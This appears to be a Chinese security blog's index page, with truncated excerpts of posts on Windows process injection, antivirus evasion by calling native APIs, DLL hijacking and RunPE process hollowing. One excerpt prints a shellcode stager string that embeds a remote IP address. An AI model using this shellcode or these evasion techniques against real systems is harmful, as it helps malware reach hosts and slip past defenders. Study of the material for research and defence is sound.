2020-09-20 21:35:15    220    0    1

0x01 MIC & DACL

在进程注入的时候,需要使用 OpenProcess 打开进程句柄,同时 dwDesiredAccess 参数一定会包括 PROCESS_VM_WRITE 特权。但是要使用写权限去打开另一个进程会有一些限制和保护机制,这些限制和保护机制包括:

  • Mandatory Integrity Control (MIC)
  • Protected Process(PP) & Protected Process Light(PPL)

本文中主要讨论 MIC。

MIC is a protection method to control access to objects based on their "Integrity level".
There are 4 integrity levels:

  • Low Level for process which are restricted to access most of the system (for example Internet explorer)
  • Medium Level is the default for any process started by unprivileged users and also administrator users if UAC is enabled.
  • High level is for process running with administrator privileges
  • System level are ran by SYSTEM users, generally the level of system services and process requiring the highest protection.

For our concern that m

2020-09-20 16:36:27    241    0    0
  • 敬告:为避免有人恶意分析,本文中对 shellcode 作了部分删减。所以长度对不上。

  • 因为蚂蚁笔记官方图片服务器极其不稳定,如果本文出现图片加载不出的问题,请转到此链接查看 https://shimo.im/docs/YqpKhVYYgwjk9xY8/

0x01 需求

奇怪的需求:

从命令行接收 shellcode,存储为无符号十六进制 char 数组。

示例输入:

  1. \xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\x29\xd8\x28\x48\xb6\x74\xa0\xa8\xcd\x7a\xf7\xb9\x40\x63\xfd\xd1\x1d\x60\x8f\x48\xcd\xee\xd2\x52\x9a\x75\x14\x60\x9e\x78\x9b\x2e\xc1\x59\xc1\xc6\x50\x1b\x57\xbd\xdd\x68\xd7\xb1\xf2\x27\x78\x3c\x0e\x64\x3f\x8e\xaa\x33\x67\x89\x4d\x6b\x21\xf6\x89\x0a\x4a\xbf\xba\x1d\x08\x0e\x04\xec\x9a\xb3\xab\x4c\x64\xd9\x7a\xf0\xf2\x09\x3c\x49\x70\x16\xfd\x7a\x9c\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x35\x34\x2e\x32\x30\x39\x2e\x38\x36\x2e\x35\x37\x00\x12\x34\x56\x78

示例输出:

  1. /*
2020-09-17 13:43:36    459    0    0

因为蚂蚁笔记官方图片服务器极其不稳定,如果本文出现图片加载不出的问题,请转到此链接查看:https://shimo.im/docs/VJyDCRwT3qJqjY89/

起因是我的 WriteProcessMemory API 被某 AV 静态查杀。刚好以此 API 为例给出三种替换 R3 API 为对应内核 API 进行免杀的方式。

代码都是从我自己的项目中复制的一些,所以有无关代码,看重点就好。

方法1:ntdll.lib

  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <tchar.h>
  4. #include <conio.h>
  5. #include <iostream>
  6. #include <tlhelp32.h>
  7. #include <typeinfo>
  8. #include "corecrt_wstring.h"
  9. using namespace std;
  10. #pragma comment(lib, "ntdll.lib")
  11. extern "C" __declspec(dllimport) NTSTATUS NTAPI NtWriteVirtualMemory(
  12. IN HANDLE ProcessHandle,
  13. IN PVOID BaseAddress,
  14. IN PVOID Buffer,
  15. IN ULONG NumberOfBytesToWrite,
  16. OUT PULONG NumberOfBytesWritten);
  17. void _tmain(int argc, _TCHAR* argv[])
  18. {
  19. STARTUPINFO si;
  20. PROCESS_INFORMATION pi;
  21. BOOL process_result = 0;
  22. BOOL memory_result = 0;
  23. BOOL context_result = 0;
  24. BOOL eip_result = 0;
  25. DWORD resume_resul
2020-09-16 15:12:05    452    0    0

因为蚂蚁笔记官方图片服务器极其不稳定,如果本文出现图片加载不出的问题,请转到此链接查看:https://note.roger101.com/blog/post/snowming/3958aac6882e

本文用 C# 实现简单的 socket TCP 传输,对于后续通过网络传输方式传输 shellcode 等起铺垫作用。

0x01 原理

title

title

《HTTP权威指南》P84

API 调用链:

title

0x02 代码实现

目前实现的是短连接。

服务端:

  1. using System;
  2. using System.Net;
  3. using System.Net.Sockets;
  4. using System.Security;
  5. using System.Text;
  6. using System.Threading;
  7. namespace 免杀Server
  8. {
  9. public class Server
  10. {
  11. //该程序创建一个套接字,然后开始无限循环。每次通过循环时,它接受一个连接并打印数据。当连接断开或连接客户端关闭时,程序接受新连接。
  12. //1. 创建一个 Socket 来基于 TCP 协议交换数据
  13. //AddressFamily 是一个 Enum;SocketType 也是一个 Enum
  14. //socket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Udp);
  15. //设置static其他类里面的方法使用时候就不用Server.socket
  16. static Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  17. //从绑定的 Socket 接受数据到缓冲区,缓冲区设为一个1024字节的字节数组
  18. private static byte[] receivedBuffer = new byte[1024];
2020-09-09 14:03:10    528    0    0

因为蚂蚁笔记官方图片服务器极其不稳定,如果本文出现图片加载不出的问题,请转到此链接查看:https://note.roger101.com/blog/post/snowming/08900703978d

起因是朋友给了我一个白 EXE,让我做个黑 DLL,交流交流手法。

经我测试,我要劫持的是 Common.dll 这个导入表里面的 DLL(隐式加载,位于 .rdata 节区):

title

此 DLL 有两个导出函数,因为我没有对应的 Common.dll,所以当我写黑 DLL 的时候,不能简单地做函数转发。虽然我已经找到原 Common.dll 了,但是感觉这样就太作弊了,失去了交流的意义,于是我要自己实现 Common.dll这个黑 DLL。

这个 DLL 特殊的地方主要在于两个导出函数都是被名称改编了的。这样的话如果我用 dllexport 方法导出,里面的 @? 等特殊符号无法通过函数名的语法规则。

0x01 第一次尝试:.def 文件

  1. LIBRARY
  2. EXPORT
  3. ?InitBugReport@XXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@Z@Z=Func1
  4. ?ValidateBugReport@XXBugReport@@YAXXZ=Func2

然后在原 DLL 工程里面实现了 Func1 和 Func2。也就是我为源码中的 Func1 和 Func2 指定了导出的名字,分别为那一大串。

编译通过了,看起来没问题。结果我发现,生成的 DLL 的导出函数名,会被 @ 符号截断,那么实际生成的两个导出函数就是:

  1. ?InitBugReport
  2. ?ValidateBugReport

如何避免这个@截断呢?我在网上搜了半天,发现一个老外提过和我一样的问题:https://stackoverflow.com/questions/7413242/visual-c-exporting-decorated-function-name-in-a-def-file

回答就一个,推荐他用 __declspec(dllexport)。可是

2020-08-26 20:35:26    829    0    0

0x01 问题描述

遇到了同如下的问题,在网上没有找到答案:

title

0x02 原理

PE 的头文件中有一处信息是关于证书的,就是 Certificate Table

title

这个 Certificate Table 位于哪里呢?
位于:NT Optional HeaderDATA_DIRECTORYCertificate Table

下图都出自 MSDN 文档:Optional Header Data Directories (Image Only)

title

title

title

让我们来看3个 .exe 文件,分别看他们的 Certificate Table

有证书的 exe:

title

没证书的 exe 之一:

title

没证书的 exe 之二:

title

应该可以看出来区别了:

没有证书的 exe,其 Certificate TableVirtualAddressSize 字段对应的值都为 0。很好理解吧,没有证书,那证书的大小和文件偏移肯定为0鸭。

0x03 代码实现

使用 Python 解析 PE 的库 pefile

先查看 NT 可选头中的 DATA_DIRECTORY 数组:

  1. def hv_cer():
  2. PEfile_Path = "D:\A\\abexcm1.exe"
  3. pe = pefile.PE(PEfile_Path)
  4. print pe.OPTIONAL_HEADER.DATA_DIRECTORY

得到的结果是:

title

这对应着这些表:

title
title

图出自:Optional Header Data Directories (Image Only), MSDN

可以看到我们要找的是此数组中的第5个结构体,数组下标4的元素 [IMAGE_DIRECTORY_ENTRY_SECURITY]。打印出来看看:

  1. def hv_cer():
  2. PEfile_Path = "D:\A\\abexcm1.exe"
  3. pe = pefile.PE(PEfile_Path)
  4. print pe.OPTIONAL_HEADER.DATA_DIRECTORY[4].
2020-08-10 22:28:19    573    0    0

注:本文中提到的 wcscpy() API,应该替换为 wcscpy_s() API。出于安全考虑。

因为本文是在取消了安全检查的编译器上编译通过的,故犯此错误。


0x01 无法创建进程

事情是这样的:下面这段是我写的代码,大概功能就是判断操作系统位数,然后选择 32/64-bit 机器上32位 notepad.exe 程序的绝对路径,传入 CreateProcessW API,然后创建一个挂起状态的 notepad.exe 进程。

  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <tchar.h>
  4. #include <conio.h>
  5. using namespace std;
  6. /* length: 799 bytes */
  7. /* 32-bit shellcode*/
  8. unsigned char buf[] = "\xfc\xe8\32";
  9. /* 安全的取得真实系统信息*/
  10. VOID SafeGetNativeSystemInfo(__out LPSYSTEM_INFO lpSystemInfo)
  11. {
  12. if (NULL == lpSystemInfo) return;
  13. typedef VOID(WINAPI* LPFN_GetNativeSystemInfo)(LPSYSTEM_INFO lpSystemInfo);
  14. LPFN_GetNativeSystemInfo fnGetNativeSystemInfo = (LPFN_GetNativeSystemInfo)GetProcAddress(GetModuleHandle(_T("kernel32")), "GetNativeSystemInfo");;
  15. if (NULL != fnGetNativeSystemInfo)
  16. {
  17. fnGetNativeSystemInfo(lpSystemInfo);
  18. }
  19. else
  20. {
  21. GetSystemInfo(lpSystemInfo);
  22. }
  23. }
  24. /* 获取操作系统位数 */
  25. int GetSystemBits()
  26. {
  27. SYS
2020-08-07 21:03:25    529    0    0

更新:

  • WINAPI 定义了约定调用,* 说明是函数指针,_RtlCreateUserThread 是符号名称。NTSTATUS 是返回值。
  • typedef 是用来定义类型的。
  • 如果有别名,会在括号后、分号前,这里省略了别名。

title

  1. typedef NTSTATUS(WINAPI * _RtlCreateUserThread)(
  2. HANDLE ProcessHandle,
  3. PSECURITY_DESCRIPTOR SecurityDescriptor,
  4. BOOL CreateSuspended,
  5. ULONG StackZeroBits,
  6. PULONG StackReserved,
  7. PULONG StackCommit,
  8. LPVOID StartAddress,
  9. LPVOID StartParameter,
  10. PHANDLE ThreadHandle,
  11. LPVOID ClientID
  12. );
  1. NTSTATUS status = RtlCreateUserThread(hProc, 0, false, 0, 0, 0, FreeLibrary, hm, &ht, 0);
  • fastcall 和 stdcall 调用约定的另一区别是一个把传入参数存在寄存器上,一个存在栈上。
  • 栈和堆在内存中的区别是:栈存放临时变量,堆存放稍微大一点的数据。

0x01 一个问题:这段代码是否执行了 shellcode?

起因是在 3gstudent 师傅的博文 傀儡进程的实现与检测 中看到这样一段文字和代码:

生成shellcode后,HelloWorld工程实现执行shellcode功能的源代码如下:

  1. #include <windows.h>
  2. int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
  3. {
  4. unsigned char shellcode1[] =
2020-08-07 12:09:06    508    0    0

0x01 RunPE 技巧

一些古老的免杀技巧不一定能过现代检测,主要是学习其思路,招式多了才能灵活运用。

这是一种古老的免杀技巧,核心是进程隐藏:

  1. 选择一个受害系统中已开启的进程;
  2. 创建一个此进程的新实例作为傀儡进程,以挂起状态启动;
  3. 修改新实例的内存,清除(磁盘文件 PE.exe 映射到)内存中所有节区(通过 NtUnmapViewOfSection 实现);
  4. 重新分配内存(基地址不变,但可能分配更多内存)为了在其中复制自己的代码,注意 preferred address 不变;
  5. 将恶意 PE 的 PE 头+PE 体复制到新分配的内存中,注意调整 ModuleEntryPoint 去匹配新偏移;
  6. 恢复进程的主线程。

优势:

可以做到隐藏进程。在进程查看器中看到的是一个进程,实际上实现的功能是另一个恶意 PE 的功能。

0x02 API 链分析:

注:以实现 calc.exe 功能为例,也就是假设恶意 pe 为 calc.exe;

  1. 解析恶意 PE calc.exe 的 PE 结构;
  2. CreateProcess API 创建状态为 SUSPENDED 的 explorer.exe 实例(原文在此是创建了一个 Process 类,实现了 CreateWithFlags 这个方法。经查看完全就是 CreateProcess 的功能);
  3. VirtualAlloc 第一次为此进程初始化分配内存空间,权限为 MEM_COMMIT PAGE_READWRITE
  4. GetThreadContext API 检索新创建 explorer 进程实例的上下文,第二个参数传入上一步中分配的内存区域,也就是读这个目标进程的有效上下文;
  5. ReadProcessMemory 获取目标进程的基地址(具体实现是第二个参数传入基地址的指针,然后从第三个参数接收返回值);
  6. 微软未文档化的 API NtUnmapViewOfSection,这个 API 的功能是 This function unmaps a previously created view to a section,实际上就是通过 NtUnmapViewOfSection 清空新
2020-08-05 20:10:44    615    0    0

本文中,企图通过对一段代码实例的 Debug 过程,介绍 Windows 编程中的常见字符编码问题的解决办法。

0x02 问题代码

  1. #include <windows.h>
  2. #include <tchar.h>
  3. #include <stdio.h>
  4. #define INFO_BUFFER_SIZE 32767
  5. void printError(TCHAR* msg);
  6. void main()
  7. {
  8. TCHAR infoBuf[INFO_BUFFER_SIZE];
  9. DWORD bufCharCount = INFO_BUFFER_SIZE;
  10. // Get and display the system directory.
  11. if (!GetSystemDirectory(infoBuf, INFO_BUFFER_SIZE))
  12. printError(TEXT("GetSystemDirectory"));
  13. _tprintf(TEXT("\nSystem Directory: %s"), infoBuf);
  14. }
  15. void printError(TCHAR* msg)
  16. {
  17. DWORD eNum;
  18. TCHAR sysMsg[256];
  19. TCHAR* p;
  20. eNum = GetLastError();
  21. FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM |
  22. FORMAT_MESSAGE_IGNORE_INSERTS,
  23. NULL, eNum,
  24. MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
  25. sysMsg, 256, NULL);
  26. // Trim the end of the line and terminate it with a null
  27. p = sysMsg;
  28. while ((*p > 31) || (*p == 9